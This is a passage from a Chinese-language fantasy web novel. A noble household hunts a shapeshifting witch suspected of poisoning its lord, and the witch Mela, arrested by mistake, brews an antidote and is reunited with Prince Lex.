这座传承了百年之久的偌大庄园,大多数仆人都是由在这干了数十年的亲人推荐,才能获得管事的许可,暂时进入庄园内,服侍流淌着高贵血脉的弗霍斯特家族。 当然,如果他们的手脚不够麻利,或是惹了主人的不快,当天晚上就得在管事的注视下灰溜溜地离开,而以后若是庄园内再度有了空缺,推荐他的人也不能再推荐另外的人进来了,因为他已经失去了管事微薄的信任。 也因此,如今能够行走在弗霍斯特庄园中的仆人,自然都是干了数年之久、鲜少行差踏错的老仆人了,每个人都是熟面孔,绝不可能轻易放任一个陌生人混进来。 想到这,琼斯夫人拧起了眉,脑中再一次想起了那名医士的话: “夫人,我们怀疑领主大人这副模样绝不是单纯的生病,或许是女巫……” 女巫,女巫。 琼斯夫人反复咀嚼着这个词,如果真的是女巫的话,那她想要换一副庄园中人人都熟悉的面孔,然后再顺理成章地顶替那人的身份躲藏在仆人之中,实在再简单不过。 即使如此,琼斯夫人的脸上依旧看不出什么波澜,她平静地让贴身侍女叫下一批仆人进来。 雕花的厚重房门从外面被打开,守在门外的侍从一连放了五个人进入房间之中。 琼斯夫人问了他们相同的问题。 那就是这两天内,有没有注意到别的仆人做出了奇怪的举动。 “奇怪的举动?” 果不其然,他们的第一反应都是去看其他人。 然后陷入了绞尽脑汁的回忆之中。 “呃……在厨房帮忙的夏莉前两天多吃了一块奶酪算吗?” 说话的男仆自己都觉得这话说出来简直是浪费时间,顿时惴惴不安地打量起琼斯夫人的脸色。 出乎意料的是,琼斯夫人不仅没有责怪他,反而略带赞许地颔首,“没关系,我只需要你们将觉得古怪的事情说出来,至于它们到底有没有用,我自会进行判断。” 原来是这样。 得到了琼斯夫人的鼓舞,剩下四个人立刻七嘴八舌地开口,说了一堆有的没的。 琼斯夫人本来漫不经心地听着,却忽然听到年纪最小的那名女仆弱弱地道:“和我住在一个房间里的阿曼妮前两天吃了一小块抹了覆盆子果酱的面包,但她明明说过她最讨厌覆盆子果酱的味道了。” “不过,也可能是她拿错了,但是不舍得浪费食物吧。” “不,”琼斯夫人突然抬手,打断了其他人的话,看向这名从头到脚都怯生生的小女仆,“你去把你口中的阿曼妮叫来,顺便再让厨房拿一块抹了覆盆子果酱的面包过来,我要亲眼看看她到底能不能硬着头皮吃下去。” 很快,阿曼妮来了。 听到琼斯夫人让她吃盘子里的面包,哪怕闻到了面包上传来的覆盆子果酱的味道,她依旧硬着头皮将其送入嘴中。 下一刻,令人不适的呕吐声响起。 和其他人纷纷皱眉相比,琼斯夫人的脸上终于露出了点笑意。 她重新对这名叫阿曼妮的女仆进行了一轮提问。 随着琼斯夫人的问题越来越细致,阿曼妮原本坚定的信念愈发动摇。 终于,仿佛某根神经崩断的声音在她的耳边响起,让她的大脑一下子陷入了一片空白之中。 阿曼妮苍白着脸,嘴唇蠕动,发出了断断续续的音节: “我看到了……一个女人朝我走来……我……晕过去了……” “那个女人长什么样?” 琼斯夫人锋利的视线凝聚在阿曼妮的脸上,如同一柄利刃,直击她的记忆深处。 “我……我……”阿曼妮十分痛苦地回忆着,她的大脑此刻比一张未曾书写过的白纸还要空白。 “头发、眼睛、身上是否有明显的胎记,这些难道一样都想不起来吗?”琼斯夫人冷酷地追问。 “头发、眼睛、头发、眼睛……”阿曼妮喃喃,随后发出一声尖叫,“我想起来了!她有一头和我一模一样的红发!” 第67章 第 67 章 [千收加更] 梅拉是让门外的吵嚷声惊醒的。 薄薄的木门隔音效果自然不太好, 她能清楚地听到门外传来的对话声。 “把你们这所有住了红发女人的房间统统指出来。” 陌生的男声粗声粗气地命令道。 接着梅拉就听到店主战战兢兢回答的声音。 不好。 梅拉迅速从床上爬起来,来到窗边,手里还拎着迷迷糊糊睁开眼的塞拉斯。 她尽可能快地打开窗子,将塞拉斯给丢了出去。 熟悉的悬空感让塞拉斯下意识地拍打翅膀飞了起来, 它还没来得及搞清楚梅拉大清早的开什么玩笑, 就见梅拉毫不留情地把它关在了窗外。 塞拉斯一头雾水:“?” 而就在梅拉关上窗的下一刻,她的房门被粗鲁地撞开, 胡子拉碴的男人站在门外, 不耐烦地朝她比了个手势, 让她主动走出来, 和其他同样搞不清状况的女人们站到一起去。 梅拉顺从地走了出来。 站到了队伍的末尾。 与此同时, 她的视线扫过这一群年纪不一,却都拥有一头红发的女人们,心下莫名的一沉。 等虚弱到根本没办法站起来的尤莉尔也从房间里被人拎了出来时, 梅拉忍不住了, 她立刻跑上前,接住了被一脸嫌弃地丢到地上的尤莉尔。 “你们认识?”进入旅舍后,胡子拉碴的男人第二次用他那又粗又厚的声音说了话。 不等梅拉回答,店主先笃定地点头,“没错,她们两当初是一起来的。” “那待会儿你负责带她走。” 说完,男人不再看梅拉第二眼, 转身前往下一个房间。 又有新的红发女人被迫从房间里走了出来。 梅拉无法, 只能扶着尤莉尔先站起来。 说是站起来,其实尤莉尔根本没有清醒过来,她将全部的重量都压在了梅拉的身上,全靠梅拉将她撑起来。 该说幸运还是不幸, 经过这三天无法进食的折磨,尤莉尔轻飘飘得像是一团棉花,否则梅拉还真没法像现在这样轻而易举地将她扶上了停在旅舍门前的板车。 类似的板车还有十几辆。 它们排成车队,载着瑟瑟发抖的女人们,在一群士兵们的看守下,回到了弗霍斯特庄园。 “砰。” 牢门被重重地关上。 为了以防万一,将她们关进来的士兵还用长长的铁链围着两根铁栏杆绕了几圈,最后才拔掉钥匙上了锁。 即使如此,梅拉能看见地牢门口还站着两名不苟言笑的守卫。 看来不管下令抓她们的人是谁,都真的对她们很提防了。 只是梅拉想不通,到底发生了什么事,才会导致拥有红发的女人全部被不由分说地抓了起来。 等等,红发。 梅拉有了一个不太妙的预感。 她看着怀里仍然昏睡着的尤莉尔,暗中祈祷这绝对不要是艾莉卡弄出来的好事,否则她真是把她的亲侄女给推进了坑里。 很快,从地牢外走进来了一高一矮两个女人,高个的女人显然更年长,也更具有权威,她淡淡地扫视了地牢一圈,吩咐道:“开始吧。” 于是矮个的年轻女人走上前,随着她走过一间又一间的地牢,地牢里的女人顿时又分为了两拨。 经过她指认的女人需要站到另一边,与没受到指认的区分开来。 梅拉见状,不好的预感彻底应验,她仔细地观察了那些被指认出来的女人,她们的发色和尤莉尔非常相近! 也因此,梅拉绝不可能和尤莉尔分到一起。 果然,矮个女人在尤莉尔的面前停下了。 “阿曼妮,怎么回事?” 高个女人注意到阿曼妮站在一间地牢前,迟迟不动,立刻狐疑地走了过来。 “凯瑟琳大人,这个女人好像病了。”阿曼妮指了指尤莉尔,咬着唇纠结道。 “病了?”凯瑟琳看向梅拉怀中意识不清不似作伪的尤莉尔,皱起了眉,忍不住低声骂了一句,“这个奥维伦怎么回事,病了的女人也叫他抓了过来。” “那我们还要把她一起带去见夫人吗?”阿曼妮问。 “当然,夫人说了,一个可疑的人都不能放过。”凯瑟琳摆手,以琼斯夫人的谨慎程度,这一点毋庸置疑。 凯瑟琳担心的只是不知道尤莉尔得的是什么病,万一会传染给别人就不好了。 尤其是传染给琼斯夫人。 要知道如今弗霍斯特领能做主的人也就剩琼斯夫人一个了,她绝对不能再因为任何意外而倒下。 “你先把这些人带去见夫人。”凯瑟琳不愧是跟在琼斯夫人身边多年的女管事,想了一会儿便飞快地有了决断。 她掏出一把钥匙,递给阿曼妮。 同时,她走到地牢门口吩咐其中一个守卫,让他赶紧去找一名医士过来。 守卫得了吩咐,跑得飞快。 等他再回来时,身后跟着的医士赫然是梅拉当初想找来为尤莉尔看病,却先一步被琼斯夫人召走的亚伦。 见到亚伦,凯瑟琳微微颔首,“亚伦医士,你来给她看看,她这是生的什么病?” 不用多说,看到梅拉怀中双眼紧闭的尤莉尔,亚伦立刻明白过来凯瑟琳口中的“她”指的是谁了。 他上前两步,隔着上锁的牢门,询问梅拉,“你是她的同伴吗?” “是。”梅拉点头,恰到好处地扮出神色惊惶的样子。 “那你来给我说说她的病状吧。”亚伦的态度很温和,显然是想安抚梅拉冷静下来。 “对了,最好是详细一点,把你能想到的异常都说一说。”亚伦补充道。 “好、好的。尤妮她是三天前突然开始病了的,一开始只是没有胃口,以为睡一觉就好了。结果等她醒过来后,情况就变得更糟糕了。无论她吃什么,都会控制不住地全部吐出来,身体也就越来越虚弱了。” 梅拉假装被亚伦的温和打动,事无巨细地将尤莉尔这几天的遭遇说了出来。 “这几天你们有去过什么地方吗?”亚伦沉思了一会儿,问道。 “没有,我们是刚来白晶城的,一来到就住进了旅舍里。”梅拉摇头。 “哦?你们是从哪里来的?”这时,凯瑟琳忽然插嘴问道。 “是东磨坊镇。”梅拉胡乱报了个地名。 “这是什么地方?”凯瑟琳果然没有听说过。 不仅是凯瑟琳,亚伦也是一头雾水。 “我们的小镇在弗霍斯特领的最东边,有唯一的一个磨坊,所以叫东磨坊镇。”梅拉垂下眼帘,眼珠一转,就给这名字编了个靠谱的解释。 不管弗霍斯特领的最东边到底有没有这样一个小镇,先让她应付过面前的凯瑟琳和亚伦两人再说。 而凯瑟琳确实没有怀疑梅拉是在糊弄她。 原因无他,梅拉一点也看不出来心虚的样子。 “不对啊,”没想到提出异议的反而是看起来就很好糊弄的亚伦,“这可不能。只有第一次来到弗霍斯特领的人才有可能对黑枫树的气味产生中毒反应,因为这是我们弗霍斯特领特有的树,也是我们经常用来打造家具、建造房屋的好木材。” “你的意思是她这是闻到黑枫树的气味中毒了?”凯瑟琳瞬间眯起了眼睛,危险地盯住了梅拉与尤莉尔。 “没错,我经常碰到这种从弗霍斯特领外来的商人,他们的身体会对黑枫树的气味作出反应,产生一种类似于中毒一样的效果。”亚伦笃定地道。 而他们的症状恰恰与梅拉描述的一致。 当然了,不是所有从其他领地而来的商人都会因为黑枫树的气味而中毒,但中毒的一定不是弗霍斯特领人就是了。 “哈。”凯瑟琳冷笑了一声。 旋即扬声唤道:“守卫!把她们两个给我抓到夫人面前去!” * “殿下,我们就快要到弗霍斯特庄园了。” 切尔各骑在马上,远远地望到了不远处那栋庞大而醒目的建筑。 “那我们加快速度,快点去见斐南基吧。”莱克斯说着,一夹马腹,瞬间比切尔各更快地冲了出去。 “好!”切尔各毫不费力地追上莱克斯。 一黑一白两匹马就这么紧赶慢赶的,在一个小时后停在了弗霍斯特庄园前。 守卫立刻通过侍女向琼斯夫人通报了庄园有客人前来。 “客人?什么样的客人?”琼斯夫人不得不将阿曼妮带来的那些女人丢在房间里,自己带着两名贴身侍女前往一楼的会客厅。 “其中一个是王室的人。”侍女答道。 努伦格尔王室的标志实在太好认了,金发金眸,绝没有混淆的可能。 “王室怎么会这个时候来人?”琼斯夫人不由得有些阴谋论。 没办法,正好在斐南基倒下的时候,王室来人了,凑巧得让她控制不住自己的疑心。 但琼斯夫人转念一想,这会儿王室也没几个人会前来弗霍斯特领,守卫口中的客人难道是西维里小王子? 如果是这位被伊莱雅王后保护得太好的小王子,他的到来或许没她想的那样别有目的。 因为这几年里,西维里时不时就要偷偷来见一趟斐南基,试图证明自己比早已生死不明的兄长更值得斐南基依附。 他还放出话来,说只要斐南基愿意投靠他,他会立即让斐南基回王城来重新担任宰相。 琼斯夫人听了在场侍女的转述后,乐得直发笑。 笑西维里被他母亲养得实在太过天真。 甚至到了盲目的地步。 他难道以为他们弗霍斯特家族的人就这么应当被王室呼来喝去吗? 而他的母亲好不容易才将自己的堂兄拉到宰相的位子上,他这么做就不怕他的母亲与他那位好舅舅反目成仇吗? 没有人能甘愿将到手的权力让出去。 尤其是安东尼奥那头永远不知餍足的饿狼。 “琼斯夫人,好久不见,您最近过得怎么样?” 听到脚步声,莱克斯悠悠然地从沙发上站起来。 他的嘴角噙着得体的笑意,向朝着自己走来的琼斯夫人微微颔首,既表达了对一位认识多年的长辈的亲切,又不失王储与贵族之间应该保持的疏离感。 和莱克斯相比,切尔各的态度就随意多了。 他笑着走上前,牵过琼斯夫人的手,在红色的蕾丝手套上落下一个蜻蜓点水般的吻,“好久不见,琼斯,你还是和以前一样美得惊人。” “莱克斯,切尔各,是你们……”琼斯夫人难得陷入怔然之中。 她的眼中划过一抹不可置信。 同时她的耳边响起了当年莱克斯失踪后,斐南基同她说过的话: “看来莱克斯殿下一定平安无事,否则切尔各就不是莫名其妙地从我的宅子里消失,而是拼死也要让裘德家族付出几条人命的代价了。” 第68章 第 68 章 [解毒] “最迟明天晚上, 他就会醒过来了。” 梅拉看着侍女将浓稠的药水灌入昏迷的斐南基嘴中,向一旁的琼斯夫人保证道。 “那就再好不过了。” 即使是面上一直古井无波的琼斯夫人,在听到梅拉的话后也不免露出了一丝松动的表情。 她看了眼落地窗外浓重的夜色,“时候不早了, 凯瑟琳, 你带梅拉和莱克斯殿下他们去休息吧。” “那我们明天再来。”闻言,莱克斯识趣地与切尔各对视一眼, 先一步走出了房间。 梅拉随后也跟上了他们的脚步, 在凯瑟琳的引领下前往二楼专供客人们休息的卧房。 期间, 梅拉的注意力全让走廊上的挂画吸引了视线, 完全没注意到身旁的莱克斯一副欲言又止的表情。 反倒是跟在莱克斯稍后一步的切尔各, 将莱克斯的模样尽收眼底,他一面感到有些稀罕,一面主动替莱克斯出声叫住了梅拉:“梅拉小姐。” “有事吗?”梅拉收回投向挂画的目光, 看向切尔各。 白天时, 甫一见到切尔各,梅拉登时就有种“他不愧是和杜克瓦托一同长大”的亲切感。 倒不是说两人的性格有多么相像,而是那股洒脱的气质简直如出一辙。 区别或许就在于杜克瓦托的洒脱中带着一点偶尔令人感到咬牙切齿的无赖,而切尔各则是将这份潇洒与骑士的风度结合,相处起来简直叫人如沐春风。 “不,没什么事,”切尔各失笑, “我只是有些好奇, 从黑暗森林到弗霍斯特领这一路上应该很辛苦吧。” 适当的体贴十分容易打开一个人的话匣子,尤其梅拉也不觉得这有什么好隐瞒的,直接坦然地道,“起初我也没想到会到弗霍斯特领来。” “哦?”切尔各摆足了洗耳恭听的姿态。 梅拉便露出一点苦恼来, “我是先去了雷德克里夫领,遇到了尤莉尔,才决定和她一道往东走,寻找一个我们都认识的人。” “那个人此刻就在弗霍斯特领?” “不,我也不确定。或许她已经离开了也说不定。”梅拉看了走在最前头的凯瑟琳一眼,“我和尤莉尔是今天一大早就被带到庄园里来的,暂时还没来得及寻找那个人的下落。” 尽管凯瑟琳独自走在最前面,但她一直暗中关注着身后梅拉与切尔各的交谈,此时听了梅拉的话,她立刻表示道: “很抱歉,梅拉小姐,我们只是为了抓住那个胆敢假冒庄园内的仆人,朝侯爵大人下毒的凶手。如果您有需要,我稍后会转告夫人,等侯爵大人醒来后,立刻派人手替您一起在领地内找人。” 不愧是能协助琼斯夫人打理偌大庄园的得力助手,瞧瞧这话,简直说得滴水不漏。 既替琼斯夫人向梅拉表达了歉意,又许诺只要斐南基真如梅拉所说的那样醒来,为了报答梅拉,派人替她在弗霍斯特领内找个人根本不成问题。 前提是,斐南基真如梅拉所说的那样,最迟明天晚上就会醒来。 “这个倒不用了。”梅拉拒绝了凯瑟琳的好意。 先不说艾莉卡此时未必还停留在弗霍斯特领内,就说她极有可能就是下毒害得斐南基昏迷不醒的人,梅拉就没法厚着脸皮让琼斯夫人派人帮她和尤莉尔找人。 总归只要等尤莉尔恢复健康,她们就能靠自己找到艾莉卡。 不过一想到这回她和尤莉尔大概是跳到了艾莉卡埋下的坑里,梅拉就难免生出一些“这都什么事啊”的无奈之感。 如果不是莱克斯恰好在这时候来到了弗霍斯特领,梅拉都不知道她该想什么样的办法才能顺利带着尤莉尔逃出弗霍斯特庄园。 回想起白日里,在会客厅猝不及防见到莱克斯的那一幕,梅拉又忍不住想要发笑。 莱克斯也没想到竟然会在弗霍斯特庄园看见梅拉,眼中的讶色毫不遮掩,“梅拉,你怎么会在这里?” “梅拉?这就是殿下您提到过的梅拉小姐吗?”切尔各也跟着露出了惊讶的神色。 他看向被两名守卫用长矛钳制着的梅拉,怎么也无法将眼前长相只算得上清秀的女人和莱克斯口中美艳惊人的女巫联系到一起。 梅拉同样很惊讶,她没想到自己喝下变形药剂换了模样,莱克斯竟然还能一眼便认出她来。 “莱克斯,你难道没有觉得我好像和以前长得不太一样了吗?”梅拉隐晦地问。 莱克斯抿了抿唇,他要如何回答,他认出她,无关长相,更像是一种刻在灵魂深处的本能。 “殿下,请原谅我打断你们,现在还不是能悠闲聊天的好时候。” 切尔各忽然开口,他接着看向琼斯夫人,“琼斯,请让你的人先放开这位梅拉小姐,因为她是曾经救了殿下一命的恩人。” 琼斯夫人显然也意识到莱克斯对面前这个名叫梅拉的陌生女人态度很不一般,立即对两名守卫道:“没听见吗?先把这位小姐放开,我们或许有些误会要解开。” 既然琼斯夫人发话了,两名守卫当然立刻按照她的吩咐,松开了钳制梅拉的长矛,退到了一旁。 梅拉见状,侧过了身子,示意自己的手上还绑着绳子呢。 “凯瑟琳,你去为她解开绳子,顺便和我们说说这到底是怎么一回事。”琼斯夫人又道。 凯瑟琳对琼斯夫人忠心耿耿,哪怕下意识地觉得有些不妥,毕竟她对梅拉的身份仍然保留怀疑,却还是一句话都没有辩驳,默默地上前一步替梅拉解开了手上的绳子。 随后,她便将前不久在地牢里发生的事情一五一十地说了出来。 “你不是弗霍斯特领人?”琼斯夫人听完事情的经过,也觉得凯瑟琳做的没错。 “没错,我不是弗霍斯特领人,但我也不是你们要找的那个人。”梅拉不卑不亢地迎上了琼斯夫人的目光。 哪怕她根本不知道琼斯夫人要找的是谁。 但从凯瑟琳的态度和她们一路到弗霍斯特庄园受到的待遇来看,显而易见琼斯夫人试图找到这个人并不是为了什么好事。 “夫人,是发生了什么事吗?” 与此同时,莱克斯也意识到了大概在他来之前,弗霍斯特庄园里发生了一些不太妙的事情,以至于琼斯夫人大动干戈,闹出了如此大的动静,就为了抓一个红发女人。 “……是斐南基出事了。” 话题走到这一步,也没了继续隐瞒的必要,琼斯夫人将斐南基忽然昏迷不醒,连请来的医士们都束手无策的情况向莱克斯等人坦白。 “……医士们认为,这是女巫下的手。因为他们从没有见过这么古怪的病,斐南基看起来就像睡着了一样,可他已经整整两天两夜没有醒过来了。”琼斯夫人叹息道。 “女巫?”莱克斯不可避免地转移了一分注意力到梅拉的身上。 然而他谨慎地没有对琼斯夫人挑明梅拉的身份。 若是琼斯夫人得知梅拉其实是名女巫,哪怕是莱克斯,也不觉得自己的面子能为梅拉洗清嫌疑。 反倒是梅拉,主动同琼斯夫人道:“如果是女巫动的手,我可以让你们口中的人清醒过来。但我也有要求,我需要你让那位亚伦医士治好尤莉尔。” “你?”琼斯夫人的眼神顿时变了。 她那样聪明的一个人,瞬间就想到了即使梅拉自己不是女巫,也一定和真正的女巫脱不开关系。 “如果不介意的话,先让我去看看吧,我还得从他本人身上判断更多的细节。”梅拉提议道。 “好。” 出乎莱克斯的意料,都用不上他替梅拉说话,琼斯夫人便一口答应下来。 她也有自己的考量。 只要梅拉能让斐南基成功清醒过来,就算她是女巫又有什么关系呢?如果梅拉真的是女巫,去解决女巫造成的麻烦,那不就更加得心应手了吗?她有什么好不答应的? 何况有他们这么多人盯着,梅拉也不可能对斐南基做什么。 于是一行人便来到了斐南基的房间。 梅拉在仔细地观察了斐南基的情况后,立刻提出要到厨房里熬煮解药。 “幸好,这不过是喝了大量美梦药剂的效果。” “这种药剂能够让人做一夜的美梦,但如果喝的太多,就会一直沉溺在美梦之中,没办法靠自己清醒过来。” “只是这样吗?那为什么斐南基的脸色看起来如此苍白?”琼斯夫人不放心地追问道。 “因为让他喝下美梦药剂的人加大了其中一种草药的分量,那其实是种很常见的毒药,经常被医士们用来麻痹病人的痛觉,以免他们在疼痛下作出丧失理智的事情。”梅拉淡定地补充道。 譬如像虾一样弹开,或者控制不住地大叫,然后在挣扎间给医士一拳之类的。 很快,梅拉在厨房的仆人们的配合下,迅速煮好了一锅不管是看上去还是闻起来都令人直皱眉头的药水。 棕色的、黏稠的药水仿佛从沼泽里挖出来的烂泥一样恶心。 但斐南基早已失去意识,哪怕侍女用勺子往他嘴里灌这样恶心的药水,他也没有任何反应。 这么折腾了一顿下来,夜色眨眼间便如同潮水般盖过了大地,庄园四处都点亮了烛光。 梅拉也来到了凯瑟琳为她准备好的房间休息。 凯瑟琳在离开前,不忘告诉梅拉,尤莉尔就休息在她旁边的房间里,亚伦医士已经给她喂了药,相信她很快就能恢复健康。 梅拉点了点头,说自己知道了。 哪怕这只是一间常年空置,仅供来客使用的卧房,摆在橱柜上的名贵花瓶,放在斗柜旁的银制水壶,以及铺在床前的刺绣地毯,都能让入住的人意识到,这是弗霍斯特家族用金钱堆砌起的,极其符合一个古老的贵族家族所应当拥有的庄园。 而梅拉坐在缝了柔软的天鹅绒的摇椅上,忽然觉得自己也应该拥有这样一把摇椅才对。 只不过,在摇椅晃晃悠悠之中,梅拉总觉得自己好像忘了点什么。 一直徘徊在弗霍斯特庄园上空,试图不惊动任何人闯入其中打探详情的塞拉斯:“?” 第69章 第 69 章 [谢谢你啊,莱克斯]…… 天刚蒙蒙亮时, 庄园内的仆人便一一动身,前往各自的岗位开始了一天的工作。 一位正当壮年的女仆用她那双有力的胳膊提着两桶新鲜的牛奶,匆匆地赶往厨房。 厨房内早已是一派热火朝天的景象,到处都有人在走动, 呼喊, 女仆艰难地穿过别人的胳膊肘和身后,时不时还要提防突然飞出来的勺子和小匙, 最后总算将木桶放在了它该在的位置。 呼, 她松了一口气。 与此同时, 梅拉还惬意地躺在用柔软的羽绒堆出来的被子里, 直到金色的晨曦完全照耀在了弗霍斯特庄园之上, 才有人敲响了她的房门,用细声细气的语调询问她是否打算起床了。 梅拉懒洋洋地应了一声是。 接着房门便被打开,数个年轻的女仆捧着干净的毛巾、盛着热水的铜盆等鱼贯而入, 要服侍梅拉起床。 这阵仗将梅拉最后一点瞌睡虫都给赶跑了。 她完全清醒过来, 接过毛巾沾了水,拧干,胡乱往脸上抹了抹,便让女仆们可以离开了。 “对了,衣服记得留下。”梅拉连忙补了一句。 她昨晚顶着困意,愣是洗了个舒舒服服的热水澡才睡,身上只有一条凯瑟琳准备的睡裙, 换下的裙子也被凯瑟琳带走了。 因为梅拉再一次表示了拒绝, 其中一名年轻的女仆只好把手中的衣服放到了床尾,供梅拉自行更换。 等人都出去后,梅拉才捻起同样是凯瑟琳特意给她准备的裙子。 层层叠叠的丝绸布料轻薄而柔软,最外层的墨绿色衬裙则格外富有光泽感, 连袖口都绣了精致的蕾丝花边,一看就价值不菲。 只不过梅拉抛弃了累赘的裙撑,麻烦的束腰,只简单往腰上系了条腰封,就在女仆的带领下前往了餐厅。 长桌前,琼斯夫人已经在主位上落座,莱克斯和切尔各则坐在她的右手边,梅拉便径直在琼斯夫人的左手边坐下。 “昨晚睡得还好吗?”趁着仆人们布菜的空隙,琼斯夫人看向梅拉。 梅拉当然笑吟吟地回答自己睡得很不错。 那柔软的床铺一躺上去,人都好像陷进了云层里似的。 琼斯夫人这才转而关心起一旁的莱克斯与切尔各,三人你来我往地说了一串梅拉并不感兴趣的客套话。 她一面享用着种类异常丰富的早餐,一面怀疑大概是因为自己在场的缘故,琼斯夫人才刻意避开了一些敏感的话题。 譬如莱克斯这些年到底过的是什么生活,又是如何遇上梅拉的。 早餐才用了一半,立刻有仆人快步走入餐厅,脸上是掩饰不住的喜色:“夫人,侯爵大人醒过来了!” “让厨房先给他送一份早餐过去,我们稍后再去看他。” 琼斯夫人镇定地用银刀切下一小块薄薄的牛肉,完全没有迫不及待要去看望刚刚苏醒过来的斐南基的样子。 多年的贵族教养也让她不可能用餐到一半,做出抛下客人离开的举动,这太失礼了。 因此等到梅拉几人都放下刀叉后,琼斯夫人才带着他们又来到了斐南基的房间。 这时候,斐南基刚好用完一小碗温热的南瓜浓汤。 刚从漫长的黑暗中苏醒过来,他的胃口显然很是一般,所以一看到琼斯夫人,以及她身后的梅拉等人,斐南基便顺理成章地让仆人带着食物离开了。 “你感觉怎么样?还有没有哪里不舒服?” 自从斐南基出事后,这还是琼斯夫人那张凝结着冰雪一样的脸上头一次融化,露出几分关切来。 “我很好,这几天真是辛苦您为我操劳了。”斐南基的嘴角挂着温和的笑意。 哪怕琼斯夫人还什么都没来得及说,斐南基也能猜到这几天她是如何劳心劳力地处理这一大摊子事,否则他也不能这么快就醒过来了。 “莱克斯殿下,许久不见。” 接着,斐南基的视线越过琼斯夫人,落到了莱克斯的脸上,倒是看不出有多少惊讶的神色。 言语间,甚至仿佛莱克斯从不曾经历那一场惊心动魄的失踪,而他也未与莱克斯有过数年未见的疏离。 “这些年,您将自己照顾得很好。相信莉莉勒斯王后殿下见到您这副模样,一定会感到十分欣慰。” 这还是梅拉第一次听见有人直接向莱克斯提起他的母亲,她暗中观察着莱克斯的表情,见他似乎对斐南基与莉莉勒斯之间的熟稔早已习以为常。 “可惜您好不容易来一趟弗霍斯特领,我却暂时没办法带您好好逛一逛这座庄园了。”斐南基有些遗憾地道。 “不要紧,我和殿下还要在这里多打扰你一段时间,总不会缺你当这一回引路人的机会。”切尔各笑着插话道。 “看来我得快些好起来才行。”斐南基的声音里多带了一丝无奈。 当然,他并没有错过站在人群最后的梅拉,“这位小姐是?” “多亏了梅拉,是她帮助你清醒过来的。”琼斯夫人向斐南基介绍道。 “原来是梅拉小姐,”斐南基对梅拉的态度一视同仁地温和有加,“感谢你的出手相助,如果有什么我可以报答的地方,请一定不要客气地提出来。” “不用了,琼斯夫人已经派亚伦医士救治了我的同伴,你不需要再付给我什么额外的报酬。”梅拉拒绝了斐南基的好意。 既然提到了亚伦医士,梅拉干脆道:“保险起见,你还是让亚伦医士过来再替你看一看吧。” “说得对,是该让医士再替你看看身上还有没有别的毛病。”琼斯夫人赞同地点头,张口就打算让凯瑟琳去叫亚伦过来。 “还是让我去叫人吧,顺便我也要去看看尤莉尔的情况。”梅拉将凯瑟琳的活抢过来,顺势离开了房间。 本来她也只是顺便跟着过来看看,在场的这几个人里,只有她和斐南基无亲无故,既然看到斐南基没事了,她也没有留下来听人家叙旧的爱好。 梅拉来到尤莉尔的房间外,正碰上亚伦医士从里头打开门。 “尤莉尔醒了吗?”梅拉问道。 “已经醒了。”亚伦答。 再见到梅拉,亚伦一想起自己之前在凯瑟琳面前拆穿了她的身份,难免感到有些尴尬,但他还是极为详细地向梅拉解释了一下尤莉尔如今的情况。 “一般来说,既然尤莉尔小姐已经醒了过来,那她或许很快就会感到一阵强烈的饥饿,但这时候最好不要让她吃太多食物,否则很容易再度刺激虚弱的身体,将吃下去的东西重新吐出来。” “我知道了。”梅拉了然,并告诉亚伦让他去看看斐南基的身体情况,尤莉尔这边交给她就好。 闻言,亚伦马不停蹄地离开了,都没来得及休息一会儿喘口气。 “尤莉尔。” 梅拉打发了跟着她的那名女仆去取份简单的早餐过来,独自走入了房间,就看到了挣扎着想从床上坐起来的尤莉尔。 她只好三两步上前,将尤莉尔扶起来,顺手往她腰后塞了个靠枕,方便她着力。 “我们这是在哪里?”尤莉尔奇怪地打量了一圈明显和旅舍截然不同的环境。 她的记忆只停留在昏迷之前,也就是前天夜里,因此,梅拉只好将昨天发生的事情用简短的语句同她讲了讲。 “你说什么?”尤莉尔怎么也没想到昨天短短一天之内竟然发生了这么多事,她现在满脑子都只有梅拉提到的,她们之所以会被抓起来,大概和艾莉卡跑不了关系。 “姨妈她为什么要害这个叫斐南基的领主?难道他和王室有什么关系吗?”对于尤莉尔来说,一个女巫想对王室成员动手,那真是再合理不过的事情了。 尽管她忍不住有点埋怨,艾莉卡为什么一声招呼都不打就独自干下这种事,难道她不知道她会担心吗? “我也不知道艾莉卡为什么要这么做,但斐南基和王室没什么血缘上的关系,他只是曾经给现在的国王当过许多年的宰相。” 梅拉觉得这不应该是艾莉卡对斐南基动手的理由。 否则按照这个逻辑,艾莉卡岂不是想要干掉所有与王室有关联的贵族。 ——梅拉开始思考由女巫来当国王的可能性了。 “好吧,那先不管姨妈她为什么要这么做了,我们如果想知道原因,还是得先找到她才行。” 尤莉尔向梅拉保证,“我会尽快好起来的。” “这大概由不得你决定,亚伦医士说,像你这样黑枫树气味中毒程度比较深的病人,得恢复至少半个月,才能回到完全健康的状态。”梅拉怜悯地道。 也就是说,尤莉尔还得老老实实在这庄园里呆上半个月才行。 “你就不能炼制一瓶治愈药剂给我吗?”尤莉尔疑惑地问。 只要喝下治愈药剂,这么点小毛病立即就能见效,马上她就能活蹦乱跳地跟着梅拉离开这座庄园。 如果说之前不这么做是忌惮身份有可能会因此暴露,但现在她们不是已经暴露身份了吗?干脆早点恢复,早点离开。 “那当然是不行了,因为这里没有我能炼制治愈药剂的材料啊。”梅拉摊手,打消了尤莉尔试图快速恢复的念头。 尤莉尔:“……”这个理由确实很实在,连她都说不出话来。 正好这时,女仆端来了给尤莉尔的早餐。 尤莉尔十分不适应地想要接过女仆手中的托盘,却让梅拉打断了,“逞什么强呢?你现在连坐起来的力气都没有,就让她喂你喝完这碗粥好了。” 尽管如此,盛着粥的汤匙碰到嘴边时,尤莉尔仍然摆出了一副恨不得离得远远的表情,仿佛女仆给她喂来的是一勺毒药。 看得一旁的梅拉乐不可支。 知道少了自己的注视后,尤莉尔心中的羞耻感大概能减轻许多,梅拉到底没有留下来非要看尤莉尔的笑话,她随便找了个理由,就离开了房间。 关上房门,梅拉转身,差点让身后不知道什么时候突然贴上来的莱克斯吓一跳。 “你站在这干什么?你的房间不是在走廊的另一头吗?”梅拉奇怪地问。 “这么久没见,你就没点别的想和我说吗?”莱克斯对梅拉的态度也有些无奈。 “说什么?我们本来不就做好了再也不见的准备吗?”梅拉微微歪头,面上无辜的表情落在莱克斯眼里,简直含着刀锋般的冷酷与残忍。 “不过能在这里见到你,确实是一场意外之喜,如果没有你,我也没办法像现在这样安然无恙地站在这里。” 梅拉笑着踮起脚,拍了拍莱克斯的肩膀,“谢谢你啊,莱克斯。” 第70章 第 70 章 [舍不得] “……我本来以为, 你永远都不会离开黑暗森林。” 听到梅拉的话,莱克斯沉默了一会儿才道。 “我确实是这么打算的呀。”梅拉诚实地答。 